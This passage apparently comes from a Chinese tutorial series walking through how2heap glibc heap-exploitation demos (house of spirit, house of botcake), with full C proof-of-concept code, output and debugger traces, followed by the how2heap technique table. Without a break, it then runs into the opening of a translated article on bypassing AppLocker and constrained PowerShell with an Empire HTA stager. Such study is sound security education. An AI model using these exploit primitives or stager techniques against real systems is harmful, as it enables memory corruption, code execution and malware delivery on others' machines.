程序首先让堆初始化了，然后申请了变量a和fake_chunks
之后程序在fake_chunks中伪造了一个size为0x40的fake_chunk，把a指向fake_chunk的域（也就是Fd指针
现在free a，我们的fake_chunk就被放到了free list中
此时再malloc就可以返回我们的fake chunk了
## house of spirit
### 序
在看完tcache的HOS之后,我们回来看看之前的HOS是什么样的
我们的house of spirit是通过free一个伪造的fastbin chunk来任意地址malloc
让我们来看看和tcache有什么区别吧
### 源代码
#include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack.n");
//调用一次malloc来初始化堆
fprintf(stderr, "Calling malloc() once so that it sets up its memory.n");
malloc(1);
//现在我们将覆写一个指针来指向一个伪造的fastbin域
fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.n");
unsigned long long *a;
//这个和fastbinY无关,不要被这个10所骗,fake_chunks只是一块内存
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
//这个域包含了两个chunk,第一个从fake_chunks[1]开始,另一个从fake_chunks[9]开始
fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);
//这个chunk的size必须符和fastbin的要求(<=128 x64位系统),PREV_INUSE位在fasybin-sized chunks中也是被忽略的,但是IS_MAPPED和NON_MAIN_AREN会引发一些问题
fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.n");
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. n");
fake_chunks[1] = 0x40; // this is the size
//下一个fake chunk的size必须是合法的。 即> 2 * SIZE_SZ（在x64上需要> 16）和＆<av-> system_mem（对于main arena来说，默认为<128kb）并且可以通过nextsize完整性检查。 但是我们无需符和Fastbin的大小
fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize
//现在我们将通过有着fake first chunks的fake区域地址来覆写我们的指针
fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.n", &fake_chunks[1]);
//要注意的是,chunk必须是16字节对齐的
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.n");
a = &fake_chunks[2];
fprintf(stderr, "Freeing the overwritten pointer.n");
free(a);
//现在下一次的malloc就将会返回我们的fake chunk了
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %pn", malloc(0x30));
}
看完源代码可以发现,我们正常的hos是需要伪造两个chunk的,而tcache则不需要伪造下一个chunk,但是虽然本例中需要伪造两个chunk,但是我们所伪造的第二个chunk是可以不用为fastbin大小的chunk的
### 运行结果
This file demonstrates the house of spirit attack.
Calling malloc() once so that it sets up its memory.
We will now overwrite a pointer to point to a fake 'fastbin' region.
This region (memory of length: 80) contains two chunks. The first starts at 0x7ffe23a56258 and the second at 0x7ffe23a56298.
This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.
... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.
The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.
Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, 0x7ffe23a56258.
... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.
Freeing the overwritten pointer.
Now the next malloc will return the region of our fake chunk at 0x7ffe23a56258, which will be 0x7ffe23a56260!
malloc(0x30): 0x7ffe23a56260
### 关键调试
本例断点下在了
► 11 fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.n");
12 unsigned long long *a;
20 fake_chunks[1] = 0x40; // this is the size
► 22 fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.n");
24 fake_chunks[9] = 0x1234; // nextsize
25
► 26 fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.n", &fake_chunks[1]);
► 28 a = &fake_chunks[2];
► 31 free(a);
好嘞,我们现在进入调试
首先是初始话堆的过程
pwndbg> heap
0x555555757000 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 593,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x555555757250 FASTBIN {
mchunk_prev_size = 0,
mchunk_size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x20d91
}
0x555555757270 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 134545,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
然后我们打印一下我们的fake_chunks
pwndbg> p/x fake_chunks
$2 = {0x9, 0x7ffff7dd7660, 0x7fffffffe5f8, 0xf0b5ff, 0x1, 0x555555554a2d, 0x7ffff7de59a0, 0x0, 0x5555555549e0, 0x5555555546c0}
pwndbg> p/x &fake_chunks
$3 = 0x7fffffffe580
之后我们来伪造我们的fake_chunk,我们将第一个fake chunk的size设为0x40
pwndbg> p/x fake_chunks
$4 = {0x9, 0x40, 0x7fffffffe5f8, 0xf0b5ff, 0x1, 0x555555554a2d, 0x7ffff7de59a0, 0x0, 0x5555555549e0, 0x5555555546c0}
pwndbg> x/10gx fake_chunks
0x7fffffffe580: 0x0000000000000009 0x0000000000000040
0x7fffffffe590: 0x00007fffffffe5f8 0x0000000000f0b5ff
0x7fffffffe5a0: 0x0000000000000001 0x0000555555554a2d
0x7fffffffe5b0: 0x00007ffff7de59a0 0x0000000000000000
0x7fffffffe5c0: 0x00005555555549e0 0x00005555555546c0
$5 = {
mchunk_prev_size = 9,
mchunk_size = 64,
fd = 0x7fffffffe5f8,
bk = 0xf0b5ff,
fd_nextsize = 0x1,
bk_nextsize = 0x555555554a2d <__libc_csu_init+77>
}
此时如果是tcache_hos的话已经可以了,但我们fastbin的话就需要使下一个chunk合法,也就是要给我们的fake_chunks[9]赋值了
为什么是fake_chunks[9]呢?因为在程序中,我们需要连续伪造两块chunk,而本例中第一块chunk的size将设为0x40了,因此fake_chunk[1]是第一个伪造的chunk的size的话,我们第二个伪造的chunk就要往下0x40也就是fake_chunk[1]+8的地方,即fake_chunk[9](%E8%BF%99%E9%87%8C%E8%AF%B4%E6%98%8E%E6%97%B6%E6%88%91%E5%B0%B1%E4%BB%A5size%E4%B8%BA%E5%9F%BA%E5%87%86%E4%BA%86%EF%BC%8C%E5%87%86%E7%A1%AE%E4%B8%80%E7%82%B9%E7%9A%84%E8%AF%B4%E6%B3%95%E6%98%AFfake_chunks%E5%92%8Cfake_chunks%5B8%5D%E5%A4%84%E8%BF%9E%E7%BB%AD%E4%BC%AA%E9%80%A0%E4%B8%A4%E4%B8%AAchunk)
赋值的大小就无所谓惹,只要比16大128kb小就好(64位机上)
pwndbg> p/x fake_chunks
$6 = {0x9, 0x40, 0x7fffffffe5f8, 0xf0b5ff, 0x1, 0x555555554a2d, 0x7ffff7de59a0, 0x0, 0x5555555549e0, 0x1234}
pwndbg> x/10gx fake_chunks
0x7fffffffe580: 0x0000000000000009 0x0000000000000040
0x7fffffffe590: 0x00007fffffffe5f8 0x0000000000f0b5ff
0x7fffffffe5a0: 0x0000000000000001 0x0000555555554a2d
0x7fffffffe5b0: 0x00007ffff7de59a0 0x0000000000000000
0x7fffffffe5c0: 0x00005555555549e0 0x0000000000001234
pwndbg> p *(struct malloc_chunk*) 0x7fffffffe5c0
$7 = {
mchunk_prev_size = 93824992233952,
mchunk_size = 4660,
fd = 0x7fffffffe6c0,
bk = 0xcd9707df6838000,
fd_nextsize = 0x5555555549e0 <__libc_csu_init>,
bk_nextsize = 0x7ffff7a05b97 <__libc_start_main+231>
}
然后我们把fake_chunks赋给a,为什么使fake_chunks[2]不是fake_chunks,之前已经做过解释,就是因为用户指针mem是从chunk的fd开始的,而不是从pre_size域开始的
现在free掉a
pwndbg> bins
tcachebins
0x40 [ 1]: 0x7fffffffe590 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
可以看到我们伪造的chunk已经在bins中了,此时只需要我们malloc一个0x40的chunk就可以从链中取出来了
### 总结
对于没有tcache的glibc版本而言,我们需要连续伪造两块size合法的chunk,并且第二块chunk的size并不需要满足fastbin的要求,只要满足合法的size即可
本程序首先初始话了一下堆,然后申请了两个变量,一个是我们即将攻击的变量 a,另一个是我们的fake_chunks
程序先在fake_chunks[1]的地方也就是size域伪造了合法的size,0x40(满足fastbin size大小,与16字节对齐,标志位正确)
之后又在下一处伪造了第二个chunk,即从fake_chunks[8]开始的地方,这是为什么呢,因为我们第一个fake
chunk的size伪造成了0x40,那么我们第二个chunk就需要在向下0x40的地方也就是fake_chunks+8的地方伪造第二个chunk
## house of botcake
### 序
记得文章开头我说过glibc2.29中将我们的tcache double free扼住了咽喉吗，这里我们就可以用house of
botcake来修改我们的fd指针了
house of botcake运用了chunk overlapping的方法,将我们的chunk同时放在了unsorted
bin和tcache中,与我们的fastbin_dup_consolidate很相似但不太一样
下面我们就来看看这个新增的攻击技巧吧,由于本例的特殊性,我会在ubuntu 19.04的docker上进行调试
首先我们进入源代码
### 源代码
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
int main()
{
//本攻击可以bypass glibc 新增加的一些限制,如果libc没有该限制,我们可以直接用double free来做更简单的tcache poisoning了
/*
* This attack should bypass the restriction introduced in
* https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d
* If the libc does not include the restriction, you can simply double free the victim and do a
* simple tcache poisoning
*/
//关闭缓冲区并使得_FILE_IO不会影响到我们的堆
// disable buffering and make _FILE_IO does not interfere with our heap
setbuf(stdin, NULL);
setbuf(stdout, NULL);
// introduction
//本demo是一个强力的攻击手段,通过tcache posioning attack来欺骗malloc返回一个指向任意地址的指针
puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into");
puts("returning a pointer to an arbitrary location (in this demo, the stack).");
//本攻击仅依赖于double free
puts("This attack only relies on double free.n");
// prepare the target
//攻击目标
intptr_t stack_var[4];
puts("The address we want malloc() to return, namely,");
printf("the target address is %p.nn", stack_var);
// prepare heap layout
//布置一下栈
puts("Preparing heap layout");
//首先申请7个大小为0x100的chunks来为后面填满tcache做准备
puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.");
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
x[i] = malloc(0x100);
}
//为了后面consolidation而申请一个chunk
puts("Allocating a chunk for later consolidation");
intptr_t *prev = malloc(0x100);
//申请我们的vitcim chunk
puts("Allocating the victim chunk.");
intptr_t *a = malloc(0x100);
printf("malloc(0x100): a=%p.n", a);
//申请一个用于防止合并的chunk
puts("Allocating a padding to prevent consolidation.n");
malloc(0x10);
// cause chunk overlapping
//现在需要我们来做一个chunk overlapping
puts("Now we are able to cause chunk overlapping");
//首先填满tcache list
puts("Step 1: fill up tcache list");
for(int i=0; i<7; i++){
free(x[i]);
}
//第二步:将我们的victim free掉来让他被扔到unsorted bin中
puts("Step 2: free the victim chunk so it will be added to unsorted bin");
free(a);
//第三步:free前面的chunk来与我们的victim chunk合并
puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");
free(prev);
//第四步:通过从tcache中取出一个chunk来把我们的victim chunk放到tcache list中,并且再free一次victim chunk
puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim againn");
malloc(0x100);
/*VULNERABILITY*/
free(a);// a is already freed
/*VULNERABILITY*/
//简单的tcache poisoning
// simple tcache poisoning
puts("Launch tcache poisoning");
//现在victim被包含在一个更大的free chunk中,我们可以通过overlapp chunk来做一个简单的tcache poisoning
puts("Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk");
intptr_t *b = malloc(0x120);
puts("We simply overwrite victim's fwd pointer");
b[0x120/8-2] = (long)stack_var;
// take target out
puts("Now we can cash out the target chunk.");
malloc(0x100);
intptr_t *c = malloc(0x100);
printf("The new chunk is at %pn", c);
// sanity check
assert(c==stack_var);
printf("Got control on target/stack!nn");
// note
puts("Note:");
puts("And the wonderful thing about this exploitation is that: you can free b, victim again and modify the fwd pointer of victim");
puts("In that case, once you have done this exploitation, you can have many arbitary writes very easily.");
//请注意,关于本技术还有一个非常完美的东西,如果我们可以再次free b,free victim,并且可以修改victim的fwd指针,一旦我们成功利用本技术,那么就意味着我们拥有了多次很简单的任意写的机会了
return 0;
}
### 程序运行结果
This file demonstrates a powerful tcache poisoning attack by tricking malloc into
returning a pointer to an arbitrary location (in this demo, the stack).
This attack only relies on double free.
The address we want malloc() to return, namely,
the target address is 0x7fff07789970.
Preparing heap layout
Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.
Allocating a chunk for later consolidation
Allocating the victim chunk.
malloc(0x100): a=0x564e770f6ae0.
Allocating a padding to prevent consolidation.
Now we are able to cause chunk overlapping
Step 1: fill up tcache list
Step 2: free the victim chunk so it will be added to unsorted bin
Step 3: free the previous chunk and make it consolidate with the victim chunk.
Step 4: add the victim chunk to tcache list by taking one out from it and free victim again
Launch tcache poisoning
Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk
We simply overwrite victim's fwd pointer
Now we can cash out the target chunk.
The new chunk is at 0x7fff07789970
Got control on target/stack!
Note:
And the wonderful thing about this exploitation is that: you can free b, victim again and modify the fwd pointer of victim
In that case, once you have done this exploitation, you can have many arbitary writes very easily.
### 关键代码调试
下面我们就直接来调试吧,断点如下:
31 puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.");
32 intptr_t *x[7];
33 for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
34 x[i] = malloc(0x100);
35 }
_ 36 puts("Allocating a chunk for later consolidation");
37 intptr_t *prev = malloc(0x100);
38 puts("Allocating the victim chunk.");
39 intptr_t *a = malloc(0x100);
40 printf("malloc(0x100): a=%p.n", a);
41 puts("Allocating a padding to prevent consolidation.n");
_ 42 malloc(0x10);
47 for(int i=0; i<7; i++){
48 free(x[i]);
49 }
_ 50 puts("Step 2: free the victim chunk so it will be added to unsorted bin");
可以看到我这里只下了三个断点,50行之后我们都单步来调试他,下面我们开始吧
首先是我们申请的heap
pwndbg> p/x x
$2 = {0x555555559260, 0x555555559370, 0x555555559480, 0x555555559590, 0x5555555596a0, 0x5555555597b0, 0x5555555598c0}
然后是我们的chunk prev,a 还有用来防止合并的chunk
0x5555555599c0 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 273,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x555555559ad0 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 273,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x555555559be0 FASTBIN {
mchunk_prev_size = 0,
mchunk_size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x20401
}
到这里结束,就是我们对堆做的一个简答的构造布局了,下面开始我们的overlapping的构造
首先来填满我们的tcache-list
pwndbg> bins
tcachebins
0x110 [ 7]: 0x5555555598c0 __ 0x5555555597b0 __ 0x5555555596a0 __ 0x555555559590 __ 0x555555559480 __ 0x555555559370 __ 0x555555559260 __ 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
因为我们0x110的tcache-list被填满了,因此这里我们再free a就会进入unsorted bin了
pwndbg> bins
tcachebins
0x110 [ 7]: 0x5555555598c0 __ 0x5555555597b0 __ 0x5555555596a0 __ 0x555555559590 __ 0x555555559480 __ 0x555555559370 __ 0x555555559260 __ 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x555555559ad0 __ 0x7ffff7fbcca0 (main_arena+96) __ 0x555555559ad0
smallbins
empty
largebins
empty
因为我们的prev和a是连在一起的chunk,因此此时我们再free prev就会触发和在unsorted bin中与a的合并,也就是
pwndbg> bins
tcachebins
0x110 [ 7]: 0x5555555598c0 __ 0x5555555597b0 __ 0x5555555596a0 __ 0x555555559590 __ 0x555555559480 __ 0x555555559370 __ 0x555555559260 __ 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x5555555599c0 __ 0x7ffff7fbcca0 (main_arena+96) __ 0x5555555599c0
smallbins
empty
largebins
empty
pwndbg> x/10gx 0x5555555599c0
0x5555555599c0: 0x0000000000000000 0x0000000000000221
0x5555555599d0: 0x00007ffff7fbcca0 0x00007ffff7fbcca0
0x5555555599e0: 0x0000000000000000 0x0000000000000000
0x5555555599f0: 0x0000000000000000 0x0000000000000000
0x555555559a00: 0x0000000000000000 0x0000000000000000
可以看到,此时被合并后的大chunk仍在unsortedbin 中且大小为0x221
现在让我们从tcache list中取出一个chunk来留下一个位置
pwndbg> bins
tcachebins
0x110 [ 6]: 0x5555555597b0 __ 0x5555555596a0 __ 0x555555559590 __ 0x555555559480 __ 0x555555559370 __ 0x555555559260 __ 0x0
现在我们再free一次a,为什么能成功呢?
因为我们的prev和a已经合并了,此时free list上并没有a的信息,因此我们可以再次free一次a
pwndbg> bins
tcachebins
0x110 [ 7]: 0x555555559ae0 __ 0x5555555597b0 __ 0x5555555596a0 __ 0x555555559590 __ 0x555555559480 __ 0x555555559370 __ 0x555555559260 __ 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x5555555599c0 __ 0x7ffff7fbcca0 (main_arena+96) __ 0x5555555599c0
smallbins
empty
largebins
empty
可以看到此时我们的a已经被链入free list中,属于tcache
现在我们的a既在tcache中,又在我们的unsorted bin的大chunk中
此时我们malloc b(0x120),系统就会从我们的unsorted bin中切出一块来给他,把剩下的留在unsorted
bin中,也就意味着b会从之前prev的地方开始，并且和a有交集，也就是成功构造了overlapping
pwndbg> bins
tcachebins
0x110 [ 7]: 0x555555559ae0 __ 0x5555555597b0 __ 0x5555555596a0 __ 0x555555559590 __ 0x555555559480 __ 0x555555559370 __ 0x555555559260 __ 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x555555559af0 __ 0x7ffff7fbcca0 (main_arena+96) __ 0x555555559af0
smallbins
empty
largebins
empty
现在我们的unsorted bin中的chunk就是从0x555555559af0处开始的了
现在我们通过b来覆写a的fwd指针
我们先来看看我们现在a的结构
$20 = {
mchunk_prev_size = 0x0,
mchunk_size = 0x111,
fd = 0x5555555597b0,
bk = 0x555555559010,
fd_nextsize = 0x0,
bk_nextsize = 0xf1
}
之后是覆写后a的结构
$21 = {
mchunk_prev_size = 0x0,
mchunk_size = 0x111,
fd = 0x7fffffffe570,
bk = 0x555555559010,
fd_nextsize = 0x0,
bk_nextsize = 0xf1
}
可以看到我们a的fd指针已经被更改了,此时我们的tcache链
pwndbg> bins
tcachebins
0x110 [ 7]: 0x555555559ae0 __ 0x7fffffffe570 __ 0xc2
现在就可以看到结果了,我们先malloc一块出来
pwndbg> bins
tcachebins
0x110 [ 6]: 0x7fffffffe570 __ 0xc2
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x555555559af0 __ 0x7ffff7fbcca0 (main_arena+96) __ 0x555555559af0
smallbins
empty
largebins
empty
现在就只剩下我们想分配的内存了,下面我们把他分配出来
pwndbg> p/x c
$22 = 0x7fffffffe570
成功
### 总结
本例即是通过构造一个chunk_overlapping来辅助我们double free一个tcache chunk，从而得到任意地址分配的效果
首先程序先在栈上声明了一个变量
之后申请了7个大小为0x100的chunks来为后面填满tcache来做准备
然后申请了3个chunk ,prev(0x100),a(0x100)还有用于防止后面我们释放a时a和top chunk合并的一个chunk(0x10)
到此准备工作就结束了
下面程序free掉了之前我们申请的那7个chunk来填满我们的tcache
之后程序free掉了a，a被放入了unsorted bin中
此时我们在free prev，由于a,prev相邻，因此二者合并成了一个大chunk，同样被放进了unsorted bin中
此时free list上就没有了a的信息
现在程序从tcache中取出一个chunk,tcache中就有了一个空位，我们再次free a,就会把我们的a放到tcache中了
此时，我们的a既在tcache中，又在unsortedbin的大chunk中
也就是完成了一个double free
之后程序malloc了b(0x120),由于unsortedbin中的chunk大小大于0x120,因此做了一个切割，并把剩下的部分留在unsorted
bin中
此时的b是从之前prev的位置开始的，因此我们通过覆写b来将我们a的fwd指针指向栈上
此时，我们再申请两次就可以分配到栈上的地址了
## 完结
本系列到此就结束了，但堆的利用方式远远不止这些技巧，但万变不离其宗，希望看我文章的同学在不懂的地方也动手调试一下
本文对堆的很多利用方式也给了我们一些启示，在寻找一些新的利用方式时，也就是审源码时，只要是没有被检查的地方都有可能是我们可以利用的地方
也十分感谢shellphish团队的开源精神！
再次贴出项目地址: <https://github.com/shellphish/how2heap>
最后也在这里贴出how2heap对于本项目的一个相关总结吧，说来也巧，在我写到这的时候正好遇到该项目把house_of_botcake加到了readme中，这里我也加上了
文件 | 技术 | Glibc版本 | 对应的ctf题目
---|---|---|---
[first_fit.c](first_fit.c) | 演示了glibc的first fit原则. | |
[calc_tcache_idx.c](calc_tcache_idx.c) | 演示如何计算tcache索引的方法. | |
[fastbin_dup.c](fastbin_dup.c) | 通过控制fast bin free list
来欺骗malloc,从而获得一个已经分配过的堆指针 | |
[fastbin_dup_into_stack.c](glibc_2.25/fastbin_dup_into_stack.c) | 通过构造fast bin
free list来欺骗malloc,从而获得一个指向任意地址的堆指针 | latest | [9447-search-engine](https://github.com/ctfs/write-ups-2015/tree/master/9447-ctf-2015/exploitation/search-engine), [0ctf
2017-babyheap](http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html)
[fastbin_dup_consolidate.c](glibc_2.25/fastbin_dup_consolidate.c) |
通过把一个指针既放到fastbin freelist中又放到unsorted bin中来欺骗malloc,从而获得一个已经分配了的堆指针 | latest
| [Hitcon 2016
SleepyHolder](https://github.com/mehQQ/public_writeup/tree/master/hitcon2016/SleepyHolder)
[unsafe_unlink.c](glibc_2.26/unsafe_unlink.c) | 利用free在一个corrupted
chunk上获得任意写的能力. | < 2.26 | [HITCON CTF 2014-stkof](http://acez.re/ctf-writeup-hitcon-ctf-2014-stkof-or-modern-heap-overflow/), [Insomni’hack
2017-Wheel of
Robots](https://gist.github.com/niklasb/074428333b817d2ecb63f7926074427a)
[house_of_spirit.c](glibc_2.25/house_of_spirit.c) |
通过释放一个伪造的fastbin来获得一个指向任意地址的指针. | latest | [hack.lu CTF
2014-OREO](https://github.com/ctfs/write-ups-2014/tree/master/hack-lu-ctf-2014/oreo)
[poison_null_byte.c](glibc_2.25/poison_null_byte.c) | 利用单个空字节溢出 | < 2.26 |
[PlaidCTF 2015-plaiddb](https://github.com/ctfs/write-ups-2015/tree/master/plaidctf-2015/pwnable/plaiddb)
[house_of_lore.c](glibc_2.26/house_of_lore.c) | 通过伪造smallbin
freelist来欺骗malloc,从而获得一个指向任意地址的指针 | < 2.26 |
[overlapping_chunks.c](glibc_2.26/overlapping_chunks.c) | 通过溢出修改一个free 掉的
unsorted bin的size来使得新分配的chunk与已经存在的chunk产生重叠 | < 2.26 | [hack.lu CTF
2015-bookstore](https://github.com/ctfs/write-ups-2015/tree/master/hack-lu-ctf-2015/exploiting/bookstore), [Nuit du Hack 2016-night-deamonic-heap](https://github.com/ctfs/write-ups-2016/tree/master/nuitduhack-quals-2016/exploit-me/night-deamonic-heap-400)
[overlapping_chunks_2.c](glibc_2.25/overlapping_chunks_2.c) |
利用溢出漏洞修改一个正在使用的chunk的size来使得我们新分配的chunk和已经存在的chunk产生重叠 | latest |
[house_of_force.c](glibc_2.25/house_of_force.c) | 利用top
chunk的hearder来让malloc返回一个几乎指向任意地址的内存 | < 2.29 | [Boston Key Party
2016-cookbook](https://github.com/ctfs/write-ups-2016/tree/master/boston-key-party-2016/pwn/cookbook-6), [BCTF 2016-bcloud](https://github.com/ctfs/write-ups-2016/tree/master/bctf-2016/exploit/bcloud-200)
[unsorted_bin_into_stack.c](glibc_2.26/unsorted_bin_into_stack.c) |
利用溢出漏洞修改一个在unsorted bin freelist的被free掉的chunk来获得一个指向几乎任意地址的指针 | < 2.26 |
[unsorted_bin_attack.c](glibc_2.26/unsorted_bin_attack.c) | 利用溢出一个在unsorted
bin freelist的被free掉的chunk来将一个超大的值写到任意地址 | < 2.28 | [0ctf
2016-zerostorage](https://github.com/ctfs/write-ups-2016/tree/master/0ctf-2016/exploit/zerostorage-6)
[large_bin_attack.c](glibc_2.26/large_bin_attack.c) | 利用溢出一个在large bin
freelist上的被Free掉的chunk来向任意地址写一个超大的值 | < 2.26 | [0ctf
2018-heapstorm2](https://dangokyo.me/2018/04/07/0ctf-2018-pwn-heapstorm2-write-up/)
[house_of_einherjar.c](glibc_2.26/house_of_einherjar.c) |
利用一个空字节溢出来欺骗malloc,从而获得一个被我们控制的指针 | < 2.26 | [Seccon
2016-tinypad](https://gist.github.com/hhc0null/4424a2a19a60c7f44e543e32190aaabf)
[house_of_orange.c](glibc_2.25/house_of_orange.c) | 利用top chunk来获得任意代码执行的方法 |
< 2.26 | [Hitcon 2016 houseoforange](https://github.com/ctfs/write-ups-2016/tree/master/hitcon-ctf-2016/pwn/house-of-orange-500)
[tcache_dup.c](glibc_2.26/tcache_dup.c) | 通过控制tcache
freelist来欺骗malloc,从而获得一个已经分配的堆指针 | 2.26 – 2.28 |
[tcache_poisoning.c](glibc_2.26/tcache_poisoning.c) | 通过控制tcache
freelist来欺骗malloc从而获得一个机会指向任意地址的指针 | > 2.25 |
[tcache_house_of_spirit.c](glibc_2.26/tcache_house_of_spirit.c) | free一个Fake
chunk来让malloc返回一个指向几乎任意地址的指针 | > 2.25 |
[house_of_botcake.c](glibc_2.26/house_of_botcake.c) | bypass tcache的 double
free的检查 | >2.25 | 社区文章 |
# 【技术分享】如何绕过应用程序白名单和受限的PowerShell
|
##### 译文声明
本文是翻译文章，文章来源：improsec.com
原文地址：<https://improsec.com/blog//babushka-dolls-or-how-to-bypass-application-whitelisting-and-constrained-powershell>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[myswsun](http://bobao.360.cn/member/contribute?uid=2775084127)
预估稿费：200RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**0x00 前言**
过去几年，我一直对应用程序白名单绕过很有兴趣，并且阅读了Casey Smith（@subtee）和Matt
Graeber（@mattifestation）的成果。从他们的成果中得出的主要结论是应用程序白名单必须被锁定，以避免受信任的程序运行攻击者的代码。在Windows
7和8.1上面非常明确，Powershell是一个绕过应用程序白名单的简单方法，即通过反射PE注入，Windows10上面将会不同。随着Windows
10中AppLocker的Powershell受限语言模式的激活，这条路被堵死了。Casey
Smith有大量的关于绕过应用程序白名单的其他方式的[研究](https://github.com/subTee/ApplicationWhitelistBypassTechniques)。我是Veris
Group发布的[PowerShell
Empire](https://www.powershellempire.com/)攻击框架的忠实粉丝，并且我非常喜欢[HTML应用](https://en.wikipedia.org/wiki/HTML_Application)攻击向量。正如我将在下面展示的，这种攻击在开启[Powershell受限语言模式](https://msdn.microsoft.com/en-us/powershell/reference/4.0/microsoft.powershell.core/about/about_language_modes)时不能起作用。但是我将思考使用先前公布的研究和代码使得这种攻击向量再次有效。本文将描述我如何做到的，尽管有大量的嵌套技术和代码。
**0x01 HTA攻击**
如果你没有听说过HTML应用作为一个攻击向量或者没有看过PowerShell Empire，我将快速的描述和展示它如何工作的。在开始看PowerShell
Empire和创建一个Listener（在我的例子中称为test）之后，我们创建一个HTA stager，且设置Listener名字和输出文件：
我们将它放在一个web服务器上面，且保证能被受害者访问。HTA文件包含如下代码：
因为HTA文件是在浏览器沙盒之外打开的，ActiveX对象被允许执行。它将以base64加密的命令行启动PowerShell，以获取另一个更大的Empire
agent stager，并在内存中执行它。受害者的浏览器看起来像下面这样：
接下来：
在点击运行之后，回调触发，Empire在受害者机器上启动一个新的agent：
**0x02 Applocker和PowerShell 受限语言**
